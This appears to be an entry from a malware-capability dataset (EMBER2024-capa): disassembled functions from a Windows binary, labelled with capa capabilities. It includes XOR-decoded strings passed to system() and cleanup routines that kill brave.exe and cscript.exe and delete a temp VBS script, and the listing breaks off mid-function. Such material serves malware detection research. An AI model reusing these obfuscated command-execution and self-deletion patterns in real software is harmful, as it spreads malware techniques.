joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c300
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov r13, r8
mov r14, rdx
mov rsi, rcx
movzx r12d, byte [r8]
movabs rax, 0xcbf29ce484222325
xor r12, rax
movabs rcx, 0x100000001b3
imul r12, rcx
movzx eax, byte [r8 + 1]
xor r12, rax
imul r12, rcx
movzx eax, byte [r8 + 2]
xor r12, rax
imul r12, rcx
movzx eax, byte [r8 + 3]
xor r12, rax
imul r12, rcx
mov rcx, qword [rsi + 0x30]
and rcx, r12
add rcx, rcx
mov rax, qword [rsi + 0x18]
mov rbx, qword [rax + rcx*8 + 8]
lea rdx, [rsi + 8]
mov r15, qword [rdx]
cmp rbx, r15
jne 0x14000c387
mov rbx, r15
mov rbp, r15
jmp 0x14000c3ca
mov rcx, qword [rax + rcx*8]
mov eax, dword [r8]
cmp eax, dword [rbx + 0x10]
je 0x14000c3a1
cmp rbx, rcx
je 0x14000c3c4
mov rbx, qword [rbx + 8]
cmp eax, dword [rbx + 0x10]
jne 0x14000c393
mov qword [r14], rbx
mov byte [r14 + 8], 0
mov rax, r14
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov r15, rbx
mov rbp, rbx
movabs rax, 0x492492492492492
cmp qword [rsi + 0x10], rax
je 0x14000c530
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], 0
mov ecx, 0x38
call fcn.140097574
mov rdi, rax
mov qword [rsp + 0x28], rax
mov eax, dword [r13]
mov dword [rdi + 0x10], eax
xorps xmm0, xmm0
movups xmmword [rdi + 0x18], xmm0
xor r13d, r13d
mov qword [rdi + 0x28], r13
mov qword [rdi + 0x30], reloc.WS2_32.dll_ntohs
mov byte [rdi + 0x18], r13b
mov rcx, qword [rsi + 0x10]
add rcx, 1
xorps xmm0, xmm0
js 0x14000c433
cvtsi2ss xmm0, rcx
jmp 0x14000c448
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mov rcx, qword [rsi + 0x38]
xorps xmm1, xmm1
test rcx, rcx
js 0x14000c45b
cvtsi2ss xmm1, rcx
jmp 0x14000c470
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm1, rax
addss xmm1, xmm1
divss xmm0, xmm1
comiss xmm0, dword [rsi]
seta al
test al, al
je 0x14000c4d1
mov rcx, rsi
call fcn.1400214d0
mov rcx, qword [rsi + 0x30]
and rcx, r12
add rcx, rcx
mov rdx, qword [rsi + 0x18]
mov rax, qword [rdx + rcx*8 + 8]
mov rbx, qword [rsi + 8]
cmp rax, rbx
je 0x14000c4c4
mov rdx, qword [rdx + rcx*8]
mov ecx, dword [rdi + 0x10]
cmp ecx, dword [rax + 0x10]
je 0x14000c4c1
nop
mov rbx, rax
cmp rax, rdx
je 0x14000c505
mov rax, qword [rax + 8]
cmp ecx, dword [rax + 0x10]
jne 0x14000c4b0
mov rbx, qword [rax]
mov qword [rsp + 0x20], rbx
mov rbp, rbx
mov r15, qword [rsp + 0x20]
mov rdx, qword [rbx + 8]
inc qword [rsi + 0x10]
mov qword [rdi], r15
mov qword [rdi + 8], rdx
mov qword [rdx], rdi
mov qword [rbx + 8], rdi
mov rcx, qword [rsi + 0x18]
mov rax, qword [rsi + 0x30]
and rax, r12
add rax, rax
mov r8, qword [rcx + rax*8]
cmp r8, qword [rsi + 8]
jne 0x14000c50c
mov qword [rcx + rax*8], rdi
jmp 0x14000c51e
mov qword [rsp + 0x20], rax
jmp 0x14000c4c9
cmp r8, rbp
jne 0x14000c517
mov qword [rcx + rax*8], rdi
jmp 0x14000c523
cmp qword [rcx + rax*8 + 8], rdx
jne 0x14000c523
mov qword [rcx + rax*8 + 8], rdi
mov qword [r14], rdi
mov byte [r14 + 8], 1
jmp 0x14000c3a9
lea rcx, str.unordered_map_set_too_long
call sub.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_
int3
Function at 0x14000d1e0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rdi, rdx
mov rbp, qword [rcx]
lea r14, [rcx + 0x40]
lea rsi, [rcx + 8]
mov qword [rsp + 0x30], rdx
mov ecx, dword [0x1400fd308]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
xor r15d, r15d
test rax, rax
je 0x14000d225
mov rdx, qword [rax + 8]
jmp 0x14000d228
mov rdx, r15
mov r9d, 8
mov r8d, 0xa0
movzx ecx, byte [rsp + 0x70]
call fcn.14000c9e0
mov rbx, rax
mov qword [rsp + 0x38], rax
mov qword [rax + 0x20], r15
lea rax, [0x140025600]
mov qword [rbx + 0x28], rax
mov qword [rbx], r15
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r15
mov dword [rbx + 0x30], r15d
mov dword [rbx + 0x38], r15d
lea rax, [0x1400e96c0]
mov qword [rbx + 0x40], rax
mov qword [rbx + 0x48], r15
mov rax, qword [rdi]
mov qword [rbx + 0x50], rax
movzx eax, byte [rdi + 8]
mov byte [rbx + 0x58], al
mov rax, qword [rdi + 0x10]
mov qword [rbx + 0x60], rax
lea rcx, [rbx + 0x68]
mov r9, r14
xor r8d, r8d
xor edx, edx
call fcn.140013c10
mov qword [rsp + 0x40], rbx
mov byte [rsi + 8], 1
lea r9, [rsi + 0x10]
lea rdx, [rbp + 0x28]
mov qword [rsp + 0x20], rbx
mov r8, rsi
mov rcx, qword [rbp + 0x58]
call fcn.140010e20
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
lea rcx, [rsp + 0x30]
call fcn.140034230
nop
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x14000e590
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xe0
mov rax, qword [0x1400f3680]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov r8, rdx
mov rbx, rcx
cmp qword [rcx + 0x20], 0
je 0x14000e77f
mov rcx, qword [rcx + 0x28]
mov rax, qword [rcx + 0x18]
test rax, rax
je 0x14000e607
lea rcx, [0x14000daf0]
mov qword [rbp + 0x17], rcx
mov qword [rbp + 0x1f], rdx
lea rdx, [rbp + 0x17]
mov rcx, rbx
call rax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140097850
mov rbx, qword [rsp + 0x110]
add rsp, 0xe0
pop rdi
pop rsi
pop rbp
ret
mov rdi, qword [rcx + 0x10]
mov rax, qword [rdx + 8]
mov qword [rbp - 0x61], rax
mov rdx, qword [rdx + 0x20]
xor esi, esi
mov qword [r8 + 0x20], rsi
mov rcx, qword [r8 + 0x18]
mov qword [r8 + 0x18], rsi
mov rax, qword [r8 + 0x10]
mov qword [r8 + 0x10], rsi
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rcx
mov qword [rbp - 0x49], rdx
mov rax, qword [r8 + 0x28]
mov qword [rbp - 0x41], rax
mov rax, qword [r8 + 0x30]
mov qword [rbp - 0x39], rax
mov rax, qword [r8 + 0x38]
mov qword [rbp - 0x31], rax
mov rax, qword [r8 + 0x40]
mov qword [rbp - 0x29], rax
mov eax, dword [r8 + 0x48]
mov dword [rbp - 0x21], eax
mov rax, qword [r8 + 0x50]
mov qword [rbp - 0x19], rax
mov rax, qword [r8 + 0x58]
mov qword [rbp - 0x11], rax
mov qword [r8 + 0x50], rsi
mov qword [r8 + 0x58], rsi
movups xmm0, xmmword [r8 + 0x60]
movups xmmword [rbp - 9], xmm0
mov rax, qword [r8 + 0x70]
mov qword [rbp + 7], rax
lea rax, [rbp - 0x69]
mov qword [rbp + 0x17], rax
mov ecx, dword [0x1400fd308]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14000e6a8
mov rdx, qword [rax + 8]
jmp 0x14000e6ab
mov rdx, rsi
mov r9d, 8
mov r8d, 0x88
movzx ecx, byte [rbp - 0x79]
call fcn.14000cab0
mov r9, rax
mov rcx, qword [rbp - 0x61]
mov qword [rax + 0x10], rcx
mov r8, qword [rbp - 0x49]
mov qword [rbp - 0x49], rsi
mov rdx, qword [rbp - 0x51]
mov qword [rbp - 0x51], rsi
mov rcx, qword [rbp - 0x59]
mov qword [rbp - 0x59], rsi
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], r8
mov rcx, qword [rbp - 0x41]
mov qword [rax + 0x30], rcx
mov rax, qword [rbp - 0x39]
mov qword [r9 + 0x38], rax
mov rax, qword [rbp - 0x31]
mov qword [r9 + 0x40], rax
mov rax, qword [rbp - 0x29]
mov qword [r9 + 0x48], rax
mov eax, dword [rbp - 0x21]
mov dword [r9 + 0x50], eax
mov qword [r9 + 0x58], rsi
mov qword [r9 + 0x60], rsi
mov rax, qword [rbp - 0x19]
mov qword [r9 + 0x58], rax
mov rax, qword [rbp - 0x11]
mov qword [r9 + 0x60], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x19], xmm0
movups xmm0, xmmword [rbp - 9]
movups xmmword [r9 + 0x68], xmm0
mov rax, qword [rbp + 7]
mov qword [r9 + 0x78], rax
lea rax, [0x14000db20]
mov qword [r9], rax
mov qword [rbp - 0x71], r9
lea rcx, [rbp - 0x69]
call fcn.140017730
nop
lea rdx, [rbp - 0x71]
mov rcx, rbx
call rdi
nop
mov rcx, qword [rbp - 0x71]
test rcx, rcx
je 0x14000e77a
mov rax, qword [rcx]
xor edx, edx
call rax
nop
jmp 0x14000e5e8
lea rcx, [rbp + 0x17]
call fcn.140014750
nop
lea rcx, [rbp + 0x17]
call fcn.140011390
int3
Function at 0x140010f70
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x670
mov rax, qword [0x1400f3680]
xor rax, rsp
mov qword [rsp + 0x660], rax
mov rdi, qword [rsp + 0x6c0]
mov r14d, r9d
mov r9, qword [r8 + 0x100]
xor r15d, r15d
shl r9, 4
mov ebx, r15d
add r9, r8
mov qword [rsp + 0x440], rbx
mov ecx, r15d
mov qword [rsp + 0x448], rcx
cmp r8, r9
je 0x14001101a
nop dword [rax]
cmp rbx, 0x40
jae 0x14001101a
mov rax, qword [r8 + 8]
add rbx, rbx
movups xmm0, xmmword [r8]
add r8, 0x10
movq qword [rsp + rbx*8 + 0x48], xmm0
mov dword [rsp + rbx*8 + 0x40], eax
mov rcx, qword [rsp + 0x448]
mov rbx, qword [rsp + 0x440]
add rcx, rax
inc rbx
mov qword [rsp + 0x448], rcx
mov qword [rsp + 0x440], rbx
cmp r8, r9
jne 0x140010fd0
mov rsi, qword [rdx]
movzx ebp, byte [rdx + 8]
cmp rsi, 0xffffffffffffffff
jne 0x140011049
mov dword [rsp + 0x30], 0x2719
call fcn.1400298b0
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
mov rax, r15
jmp 0x140011112
test rcx, rcx
jne 0x14001105f
test bpl, 0x10
je 0x14001105f
mov dword [rdi], r15d
mov rax, r15
jmp 0x140011112
mov r9d, r14d
mov qword [rsp + 0x20], rdi
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140036970
test eax, eax
jns 0x140011110
test bpl, 1
jne 0x140011041
call fcn.1400298b0
mov rcx, qword [rdi + 8]
mov rax, qword [rax + 8]
cmp qword [rcx + 8], rax
jne 0x1400110a0
cmp dword [rdi], 0x2733
je 0x1400110bb
call fcn.1400298b0
mov rcx, qword [rdi + 8]
mov rax, qword [rax + 8]
cmp qword [rcx + 8], rax
jne 0x140011041
cmp dword [rdi], 0x4d5
jne 0x140011041
lea ecx, [rsi + 1]
mov qword [rsp + 0x458], rsi
xor r9d, r9d
mov dword [rsp + 0x450], 1
lea r8, [rsp + 0x450]
mov qword [rsp + 0x20], r15
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
js 0x140011139
mov r9d, r14d
mov dword [rdi], r15d
mov r8, rbx
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140036970
test eax, eax
js 0x140011085
mov eax, eax
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.140097850
mov rbx, qword [rsp + 0x6a0]
add rsp, 0x670
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.1400298b0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x30], eax
mov rax, r15
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
jmp 0x140011112
Function at 0x140014080
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x1400f3680]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
movzx edi, dl
mov rbx, rcx
mov eax, 1
lock xadd dword [0x1400fd310], eax
inc eax
cmp eax, 1
jne 0x1400140cf
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [0x1400fd314], eax
test dil, dil
je 0x1400140e2
xor eax, eax
lock xadd dword [0x1400fd314], eax
test eax, eax
jne 0x140014106
mov rax, rbx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140097850
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1e0
pop rdi
ret
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], eax
call fcn.1400298b0
lea rdx, str.winsock
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x20]
call fcn.140026a00
int3
Function at 0x140019140
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
sub rsp, 0xb8
movups xmm0, xmmword [0x1400af580]
xor ecx, ecx
cmp dword [0x1400f36d0], 2
movups xmm1, xmmword [0x1400af590]
movzx eax, word [0x1400af5e0]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x1400af5a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x1400af5b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1400af5c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x1400af5d0]
movups xmmword [rsp + 0x70], xmm0
mov word [r11 - 0x28], ax
movzx eax, byte [0x1400af5e2]
mov byte [r11 - 0x26], al
movups xmmword [r11 - 0x38], xmm1
jl 0x1400192fc
movdqa xmm0, xmmword [str.5555555555555555]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400b0b30]
movdqa xmm4, xmmword [0x1400b0b80]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x1400b0b50]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b0b60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b0b60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x60
jl 0x1400191f0
movaps xmm6, xmmword [rsp + 0xa0]
cmp ecx, 0x63
jge 0x14001933d
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0x63
jl 0x140019310
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0xb8
ret
Function at 0x14001ae90
Capabilities:
Execute command
Self delete
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.14001da40
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140023ce0
lea rcx, str.start__min_cmd.exe__c__powershell__console_::beep_500_300___echo.___exit_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_brave.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14002fd80
lea rcx, str.taskkill__f__im_cscript.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_full_path_to_temp.vbs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14001bd60
Capabilities:
Execute command
Self delete
Terminate process

Disassembly:
sub rsp, 0x28
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x38], 2
lea rcx, [rsp + 0x40]
call fcn.1400065f0
mov rcx, rax
call fcn.140011160
call fcn.14001da40
call fcn.140023ce0
call fcn.14002fd80
lea rcx, str.taskkill__f__im_cscript.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_brave.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_full_path_to_temp.vbs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140020180
Capabilities:
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x28
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov edi, 1
mov eax, edi
shl rax, cl
cmp rdx, rax
ja 0x14002031b
lea rax, [rdx - 1]
mov qword [rsp + 0x50], rbx
mov rbx, qword [rsi + 8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
mov qword [rsp + 0x20], r14
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.14001da50
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x1400202e4
mov qword [rsp + 0x58], rbp
movabs rdi, 0x100000001b3
movabs rbp, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rbp
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, qword [rsi + 0x30]
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rbx
jne 0x14002025e
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x1400202d3
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x14002029b
mov r10, qword [rdx]
cmp r10, rax
je 0x140020295
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x1400202d3
cmp r9, rdx
je 0x1400202af
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x1400202f5
cmp r9, rdx
jne 0x1400202a0
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
jne 0x140020211
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x1400202d3
lea rcx, str.invalid_hash_bucket_count
call sub.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_
int3
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdx, qword [rcx + 0x10]
mov rdi, rcx
add rdx, 1
mov rbx, qword [rcx + 0x38]
xorps xmm0, xmm0
js 0x1400214f5
cvtsi2ss xmm0, rdx
jmp 0x14002150a
mov rax, rdx
and edx, 1
shr rax, 1
or rax, rdx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [rcx]
call sub.api_ms_win_crt_math_l1_1_0.dll_ceilf
movss xmm1, dword [0x1400b0b20]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x140021538
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x140021538
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x14002156a
cmp rbx, 0x200
jae 0x140021567
lea rbx, [rbx*8]
cmp rbx, rcx
jae 0x14002156a
mov rbx, rcx
mov rdx, rbx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x140020180
Function at 0x140023510
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x70
xor eax, eax
lea rbx, [rcx + 0x28]
test rcx, rcx
mov ecx, dword [0x1400fd308]
cmove rbx, rax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140023645
cmp qword [rax], rbx
je 0x14002354c
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x140023538
add rsp, 0x70
pop rbx
ret
mov rbx, qword [rax + 8]
test rbx, rbx
je 0x140023645
mov ecx, dword [rbx + 0x50]
test ecx, ecx
je 0x140023609
cmp ecx, 1
jne 0x140023645
xorps xmm0, xmm0
mov dword [rbx + 0x50], 2
lea rdx, [rbx + 0x58]
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x30], xmm0
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCopy_void____ptr64__void_const____ptr64_
xorps xmm0, xmm0
lea rax, vtable.asio::multiple_exceptions.0
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x58]
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm0
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCopy_void____ptr64__void_const____ptr64_
lea rcx, [rsp + 0x30]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movdqu xmmword [rsp + 0x20], xmm0
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCreate_void____ptr64_
lea r8, [0x1400e2f98]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCopyException_void____ptr64__void_const____ptr64__void_const____ptr64_
lea rcx, [rsp + 0x58]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
lea rax, vtable.std::exception.0
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x40], rax
call sub.VCRUNTIME140.dll___std_exception_destroy
jmp 0x14002362d
xorps xmm0, xmm0
mov dword [rbx + 0x50], 1
lea rcx, [rsp + 0x20]
movdqu xmmword [rsp + 0x20], xmm0
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCreate_void____ptr64_
lea rcx, [rsp + 0x20]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCurrentException_void____ptr64_
lea rdx, [rsp + 0x20]
lea rcx, [rbx + 0x58]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrAssign_void____ptr64__void_const____ptr64_
lea rcx, [rsp + 0x20]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
add rsp, 0x70
pop rbx
ret
Function at 0x1400237a0
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0xb8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400aed80]
xor ecx, ecx
cmp dword [0x1400f36d0], 2
movups xmm1, xmmword [0x1400aed90]
movzx eax, word [0x1400aede0]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x1400aeda0]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x1400aedb0]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1400aedc0]
movups xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x1400aedd0]
mov word [rsp + 0x90], ax
movzx eax, byte [0x1400aede2]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm1
mov byte [rsp + 0x92], al
jl 0x14002397c
movdqa xmm0, xmmword [str.5555555555555555]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400b0b30]
movdqa xmm4, xmmword [0x1400b0b80]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0xa0], xmm6
movdqa xmm6, xmmword [0x1400b0b50]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b0b60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b0b60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x60
jl 0x140023870
movaps xmm6, xmmword [rsp + 0xa0]
cmp ecx, 0x63
jge 0x1400239bd
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
